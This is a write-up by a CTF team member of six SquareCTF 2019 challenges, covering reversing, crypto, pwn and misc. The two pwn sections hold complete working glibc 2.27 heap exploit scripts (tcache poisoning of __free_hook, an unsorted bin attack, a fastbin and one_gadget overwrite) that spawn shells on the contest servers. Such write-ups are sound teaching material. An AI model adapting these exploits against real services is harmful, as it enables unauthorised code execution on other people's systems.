SquareCTF had been held from October 11th to 17th (in JST) and I played it in zer0pts
.
We got 6450 points and kept 7th place.
There are many good challenges and I enjoyed them! Thank you for hosting the CTF :)
- [Reversing 700pts] Aesni
- [Crypto 150pts] Decode me
- [Pwn 1000pts] tcash
- [Pwn 2000pts] Worldwide Highest Velocity
- [Crypto 1000pts] Go cipher
- [Misc 700pts] Sudo make me a flag
Members' writeup:
Tasks and solvers for some challenges I solved are availble here.
[Reversing 700pts] Aesni
We're given a simple 32-bit ELF.
As you can understand, it XORs some data and jump there, which is just a packer. The packed machine code also unpacks another piece of code and so on. The third unpacked code has a compare routine.
It just load bytes from 0x80480EF and xores it with 0x55 and compares them with our 13 bytes input.
pwndbg> x/1s 0x80480ef 0x80480ef: "\001=\034&x<\006x3\034;\020Uc7cfcde9b27cb5904a273dbe81679dde\026JV\\]k\200\002S\352\023\325^\017\274\020n\223\300\363@\n]\207_Z\330a\353\206\003\016>\243M|P\a\222\225\260d38;`*e\033u _5?8gldech4>\fP,*\023`d0d8b3b?d4d\202nLpP\006\271TRSQʅ\022\a\221\211\367\211\r\241\201\004\b\017\020\005\241\201\004\bf\017\070\334\301\017\020\026f\017\357\320\017\021\026\203\306\020\340\337\377\347\001"
Let's decode it.
from ptrlib import xor key = b'\x55' encoded = b"\001=\034&x<\006x3\034;\020Uc7cfcde9b27cb5904a273dbe81679dde\026JV\\]k\200\002S\352\023\325^\017\274\020n\223\300\363@\n]\207_Z\330a\353\206\003\016>\243M|P\a\222\225\260d38;`*e\033u _5?8gldech4>\fP,*\023`d0d8b3b?d4d\202nLpP\006\271TRSQ"[:13] print(xor(encoded, key))
$ python solve.py b'ThIs-iS-fInE\x00'
Giving it as an argument will output the flag.
$ ./aesni ThIs-iS-fInE flag-cdce7e89a7607239
[Crypto 150pts] Decode me
We are given a pyc file. theoremoon decompiled it.
# uncompyle6 version 3.3.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.16 (default, Oct 7 2019, 17:36:04) # [GCC 8.3.0] # Embedded file name: ./encoder.py # Compiled at: 2019-10-10 14:14:05 import base64, string, sys from random import shuffle def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init() for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) print(bag) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(('').join(buf)) f.write('\x00') bag, buf = init() shuffle(bag) else: break buf.extend(r * (diff - 1)) f.write(r) shuffle(buf) f.write(('').join(buf)) if __name__ == '__main__': with open(sys.argv[1], 'rb') as (r): w = open(sys.argv[1] + '.enc', 'wb') b64 = base64.b64encode(r.read()) encode(w, b64) # okay decompiling encoder.pyc
And I wrote a decoder.
import string import base64 with open("decodeme.png.enc", "r") as f: buf = f.read() ofs = -1 pre = 0 output = '' while b'\x00' in buf[ofs+1:]: ofs = buf.index(b'\x00', ofs + 1) local = buf[pre:ofs] s = local[:len(string.printable)] past = [] #print(repr(buf[pre:ofs + 1])) for r in s: diff = local.count(r) if diff == 0: break if r in past: break past.append(r) r = ord(r) if r + diff <= ord('z'): if r + diff < 0x20: x = r + diff + len(string.printable) else: x = r + diff else: x = r + diff - len(string.printable) output += chr(x) pre = ofs + 1 local = buf[ofs + 1:] s = local[:len(string.printable)] past = [] for r in s: diff = local.count(r) if diff == 0: break if r in past: break past.append(r) r = ord(r) if r + diff <= ord('z'): if r + diff < 0x20: x = r + diff + len(string.printable) else: x = r + diff else: x = r + diff - len(string.printable) output += chr(x) print(output) with open("output.png", "w") as f: f.write(base64.b64decode(output))
[Pwn 1000pts] tcash
We're given a 64-bit ELF.
$ checksec -f tcash RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 83 Symbols Yes 0 4 tcash
It's a normal heap challenge. We can create at most 10 notes, write, read, and free. At first glance, it seems secure but a vulnerability lies here:
b0a: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] b0d: 8d 48 ff lea ecx,[rax-0x1] b10: 8b 45 ec mov eax,DWORD PTR [rbp-0x14] b13: 48 98 cdqe b15: 48 c1 e0 04 shl rax,0x4 b19: 48 89 c2 mov rdx,rax b1c: 48 8d 05 1d 15 20 00 lea rax,[rip+0x20151d] # 202040 <allocs> b23: 89 0c 02 mov DWORD PTR [rdx+rax*1],ecx
It stores the size we allocated with decremented. So, if we set the size to zero, it stores 0xffffffff, which causes heap overflow in write_chunk
.
We can only call malloc(0x6f8)
but it has a secret function in which it calls malloc(0x308)
2 times and reads data.
The first thing we do is libc leak. It can be done by printing a freed chunk which was linked to main_arena
.
The second thing is heap overflow. We overwrite the size header of the adjacent chunk to 0x311 and free it, which will be linked into tcache.
Then we overwrite the fd of the chunk and call the secret function. The second allocated region will be the fd we write.
from ptrlib import * def malloc(index, size): sock.sendlineafter("> ", "1") sock.sendlineafter("?\n", str(index)) sock.sendlineafter("size: \n", str(size)) return def write(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter("?\n", str(index)) sock.sendafter("data: \n", data) return def read(index): sock.sendlineafter("> ", "3") sock.sendlineafter("?\n", str(index)) r = sock.recvuntil("1) ") return r[:-3] def free(index): sock.sendlineafter("> ", "4") sock.sendlineafter("?\n", str(index)) return def secret(index, data1, data2): sock.sendlineafter("> ", "1337") sock.sendlineafter("?\n", str(index)) sock.sendafter("data 1: \n", data1) sock.sendafter("data 2: \n", data2) return libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./tcash") sock = Socket("tcash-a57a558adff75b59.squarectf.com", 7852) libc_main_arena = 0x3ebc40 # libc leak malloc(0, 0x6f8) malloc(1, 0x6f8) free(0) malloc(0, 0x6f8) libc_base = u64(read(0)[:8]) - libc_main_arena - 96 logger.info("libc base = " + hex(libc_base)) # heap overflow free(0) malloc(0, 0) payload = b'A' * 0x6f8 + p64(0x311) + b"\n" write(0, payload) free(1) payload = b'A' * 0x6f8 + p64(0x311) + p64(libc_base + libc.symbol("__free_hook")) + b"\n" write(0, payload) # overwrite __free_hook secret(0, "dummy", p64(libc_base + libc.symbol("system"))) # get the shell!! malloc(9, 0x8) write(9, "/bin/sh\n") free(9) sock.interactive()
Good.
$ python solve.py [+] __init__: Successfully connected to tcash-a57a558adff75b59.squarectf.com:7852 [+] <module>: libc base = 0x7f204dea3000 [ptrlib]$ cat /home/tcash/flag.txt [ptrlib]$ flag-53AE19D1869BF54B5DDEF813
[Pwn 2000pts] Worldwide Highest Velocity
The binary is a 64-bit ELF and is similar to that of tcash. It has same functions but for the secret function.
So, we don't have tcache size allocation and only have malloc(0x608)
and heap overflow.
Leaking the libc base is easy so let's think about how to get AAW.
Since we can't exploit the binary without tcache or fastbin, I overwrote global_max_fast
by unsorted bin attack.
Now we have fastbin control for size 0x701.
In order to do fastbin attack, we need an apropriate chunk whose size is between 0x700 to 0x70f near __malloc_hook
or __free_hook
.
Fortunately we have 0x700 in malloc parameter because tcache is enable.
If tcache is enable, mp_
has max count of tcache, which is 7 by default.
mp_
is located before __malloc_hook
and we can easily overwrite it.
from ptrlib import * flag = False def exploit(stop=False): global flag if flag: return #sock = Process("./worldwide_highest_velocity") #sock = Socket("localhost", 6129) sock = Socket("wwhv-315c4ee98c95e6ec.squarectf.com", 6129) def malloc(index, size): sock.sendlineafter("> ", "1") sock.sendlineafter("?\n", str(index)) sock.sendlineafter("size: \n", str(size)) return def write(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter("?\n", str(index)) sock.sendafter("data: \n", data) return def read(index): sock.sendlineafter("> ", "3") sock.sendlineafter("?\n", str(index)) r = sock.recvuntil("1) ") return r[:-3] def free(index): sock.sendlineafter("> ", "4") sock.sendlineafter("?\n", str(index)) return libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") libc_main_arena = 0x3ebc40 libc_global_max_fast = 0x3ed940 libc_mp = 0x3eb280 libc_one_gadget = [0x10a38c, 0x4f322, 0x4f2c5, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398] # libc leak malloc(0, 0x6f8) malloc(1, 0x6f8) # base malloc(2, 0) # base + 0x700 malloc(3, 0x6f8) # base + 0x700 free(0) malloc(0, 0x6f8) libc_base = u64(read(0)[:8]) - libc_main_arena - 96 logger.info("libc base = " + hex(libc_base)) # modify global_max_fast free(0) malloc(0, 0) free(1) payload = b'A' * 0x6f8 + p64(0x701) payload += p64(0) + p64(libc_base + libc_global_max_fast - 0x10) write(0, payload + b'\n') malloc(1, 0x6f8) # leverage mp_ free(1) payload = b'A' * 0x6f8 + p64(0x701) payload += p64(libc_base + libc_mp + 0x57) write(0, payload + b'\n') malloc(1, 0x6f8) malloc(4, 0) payload = b'\x00' * 0x19 payload += b'\x00' * 0x710 payload += p64(0xfbad2088) payload += b'\x00' * 0xc0 + p64(libc_base + libc.symbol("_IO_file_jumps")) payload += b'\x00' * 0x150 payload += p64(libc_base + libc_one_gadget[0]) write(4, payload + b"\n") # get the shell!! free(3) malloc(3, 0x6f8) sock.interactive() if __name__ == '__main__': exploit(stop=True)
Yay!
$ python solve.py [+] __init__: Successfully connected to wwhv-315c4ee98c95e6ec.squarectf.com:6129 [+] exploit: libc base = 0x7f3c60cb0000 [ptrlib]$ cat /home/wwhv/flag.txt [ptrlib]$ Nice job nailing the hardest puzzle! flag-25628006A770E154355A1C86B5F1
[Crypto 1000pts] Go cipher
When I looked over this challenge, theoremoon already posted a python code to find the encryption key, which didn't work.
from z3 import * from ptrlib import p64 plaintext = open("story4.txt", "rb").read() encrypted = bytes.fromhex(open("story4.txt.enc").read()) keysum, ciphertext = encrypted[:16], encrypted[16:] key1, key2, key3 = BitVec("Key1", 64), BitVec("Key2", 64), BitVec("Key3", 64) solver = Solver() for i in range(len(plaintext)): solver.add( ciphertext[i] == ((plaintext[i] - (key1 & 0xff)) & 0xff) ^ (key2 & 0xff) ^ (key3 & 0xff) ) key1 = RotateRight(key1, 1) key2 = RotateLeft(key2, 1) key3 = RotateLeft(key3, 1) r = solver.check() if r == sat: m = solver.model() print(m) for d in m.decls(): if d.name() == 'Key1': key1 = p64(m[d].as_long()) elif d.name() == 'Key2': key2 = p64(m[d].as_long()) elif d.name() == 'Key3': key3 = p64(m[d].as_long()) with open("key", "wb") as f: f.write(key1 + key2 + key3)
I fixed some constraints and it worked. Since the decryption function is implemented in the given code, we just need to pass the key. As it checks the md5sum of the key, I modified the code as shown below.
if (!bytes.Equal(r, ciphertext_bytes[0:len(r)])) { //log.Panic("invalid key") }
That's it.
[Misc 700pts] Sudo make me a flag
We're given an obfuscated Makefile. I re-wrote it in Python and optimized not to use recursion. There are several solutions for this but the third one worked. I don't like this sort of challenge :-(
import re import hashlib from ptrlib import * #b=$(if $(subst y,,$(1)),$(call b,$(patsubst x%,%,$(1)),$(2)y),$(if $(subst x,,$(1)),$(call b,$(patsubst %y,%,$(1)),x$(2)),$(call w,$(2)))) """ def b(v1, v2): if 'x' in v1: return b(re.sub(r'\Ax(.*)\Z', r'\1', v1), v2+'y') elif 'y' in v1: return b(re.sub(r'\A(.*)y\Z', r'\1', v1), 'x'+v2) else: return w(v2) """ def b(v1, v2): return 'x' * (v1.count('x') + v2.count('y')) + 'y' * (v1.count('y') + v2.count('x')) #c=$(call p,$(l),$(q)) def c(): return p(l(), q()) #d=$(call r,$(l)) def d(): return r(l()) #e=$(if $(subst y,,$(1)),$(words $(subst x,x ,$(1))),$(if $(subst x,,$(1)),-$(words $(subst y,y ,$(1))),0)) def e(v1): if 'x' in v1: if 'y' in v1: return v1.count('x') + 1 else: return v1.count('x') elif 'y' in v1: if 'x' in v1: return -(v1.count('x') + 1) else: return -v1.count('x') else: return 0 #g=$(call j,$(call j,xxxxxxxxxxxxxxx)) def g(): return j(j('xxxxxxxxxxxxxxx')) #h=$(call k,$(g),$(z)) def h(): return k(g(), z()) #i=x$(1) def i(v1): return 'x' + v1 #j=$(subst x,xxxxxxx,$(1)) def j(v1): return v1.replace('x', 'xxxxxxx') #a = $(call k,$(call m,$(1)),$(h)) def a(v1): return k(m(v1), h()) #l = $(call n,$(firstword $(subst -, , $@))) def l(): return n(ARG.split('-')[0]) #o = $(if $(and $(findstring x,$(1)),$(findstring y,$(1))),$(call o,$(patsubst x%y,%,$(1))),$(1)) """ def o(v1): if 'x' in v1 and 'y' in v1: return o(v1[1:-1]) else: return v1 """ def o(v1): if v1.count('x') == v1.count('y'): return '' elif v1.count('x') > v1.count('y'): return 'x' * (v1.count('x') - v1.count('y')) else: return 'y' * (v1.count('y') - v1.count('x')) #k = $(if $(subst y,,$(1)),$(call k,$(patsubst x%,%,$(1)),x$(2)),$(if $(subst x,,$(1)),$(call k,$(patsubst %y,%,$(1)),$(2)y),$(2))) """ def k(v1, v2): if 'x' in v1: return k(re.sub(r'\Ax(.*)\Z', r'\1', v1), 'x'+v2) elif 'y' in v1: return k(re.sub(r'\A(.*)y\Z', r'\1', v1), v2+'y') else: return v2 """ def k(v1, v2): return 'x' * (v1.count('x') + v2.count('x')) + 'y' * (v1.count('y') + v2.count('y')) #m=$(call p,$(1),$(1)) def m(v1): return p(v1, v1) #n=$(patsubst %,%,$(subst x ,x, $(filter x,$(subst x,x ,$(1)))))$(patsubst %,%,$(subst y ,y, $(filter y,$(subst y,y ,$(1))))) #n=$(subst x ,x, $(filter x,$(subst x,x ,$(1)))))$(patsubst %,%,$(subst y ,y, $(filter y,$(subst y,y ,$(1)))) def n(v1): # xyxxyy --> x yx x yy | # xyxxyy --> xy xxy y +--> xxy return ''.join(list(filter(lambda x: x == 'x', v1.replace('x', 'x ').split()))) +\ ''.join(list(filter(lambda y: y == 'y', v1.replace('y', 'y ').split()))) #p=$(if $(subst y,,$(1)),$(call k,$(2),$(call p,$(call o,$(call u,$(1))),$(2))),$(if $(subst x,,$(1)),$(call b,$(2),$(call p,$(call o,$(call i,$(1))),$(2))),)) """ def p(v1, v2): if 'x' in v1: return k(v2, p(o(u(v1)), v2)) elif 'y' in v1: return b(v2, p(o(i(v1)), v2)) else: return '' """ def p(v1, v2): xc = v1.count('x') yc = v1.count('y') if xc > yc: return ''.join(sorted(v2 * (xc - yc))) elif xc < yc: base = 'x' + 'x' * (len(v1) // 2) + 'y' * ((len(v1) - 1) // 2) t = '' for c in v2: if c == 'x': t += base else: t += base.replace('x', 'w').replace('y', 'x').replace('w', 'y') return ''.join(sorted(t)) else: return v1 #""" #q=$(call n,$(lastword $(subst -, , $@))) def q(): return n(ARG.split('-')[-1]) #r=$(call b,$(call a,$(1)),$(call y,$(1))) def r(v1): return b(a(v1), y(v1)) #s=@echo flag-`echo $(call v,$(c)) $(call o,$(c)) | md5sum` def s(): print("flag-{}".format(hashlib.md5(v(c()) + " " + o(c) + "\n").hexdigest())) #t=$(call k,$(z),xxxxxxxxxx) def t(): return k(z(), 'xxxxxxxxxx') #u=$(1)y def u(v1): return v1 + 'y' #v=$(call e,$(call o,$(1))) def v(v1): return e(o(v1)) #w=$(if $(subst z,,$(subst y,,$(1))), # $(call w,$(patsubst x%,%z,$(1))), # $(if $(subst z,,$(subst x,,$(1))), # $(subst z,y,$(subst y,x,$(1))), # $(subst z,y,$(1)))) def w(v1): if 'x' in v1: return w(re.sub(r'\Ax(.*)\Z', r'\1', v1) + 'z') elif 'y' in v1: return v1.replace('y', 'x').replace('z', 'y') else: return v1.replace('z', 'y') #x=$(call r,$(q)) def x(): return r(q()) #y=$(call p,$(1),$(t)) def y(v1): return p(v1, t()) #z=$(call b,$(call j,$(call j,x)),xx) def z(): return b(j(j('x')), 'xx') #flag = $(if $(or $(call o,$(d)),$(call o,$(x))),@echo nope1,$(if $(call o,$(call b,$(l),$(q))), $(s), @echo nope)) def flag(): if o(d()) or o(x()): print("Nope 1") else: if o(b(l, q)): s() else: print("Nope 2") # Solution 1 _l = "x" * 23 _q = "x" + "y" * 336 # Solution 2 _l = "x" * 23 _q = "x" + "y" * 727 # Solution 3 (worked) _l = "x" * 23 _q = "y" + "x"*10 + "y"*2 + "x" * 28 ARG = _l + "-" + _q dd = d() xx = x() print("o(d()) = '{}'".format(o(d()))) print("o(x()) = '{}'".format(o(x()))) print("o(b(l,q)) = '{}'".format(o(b(_l, _q)))) c = p(_l, _q) output = "{} {}\n".format(v(c), o(c)) output = "flag-{}".format(hashlib.md5(str2bytes(output)).hexdigest()) print(output)
$ python overview.py o(d()) = '' o(x()) = '' o(b(l,q)) = 'yyyyyyyyyyyy' flag-0f8e43d770b89dd55dd58a50117ea625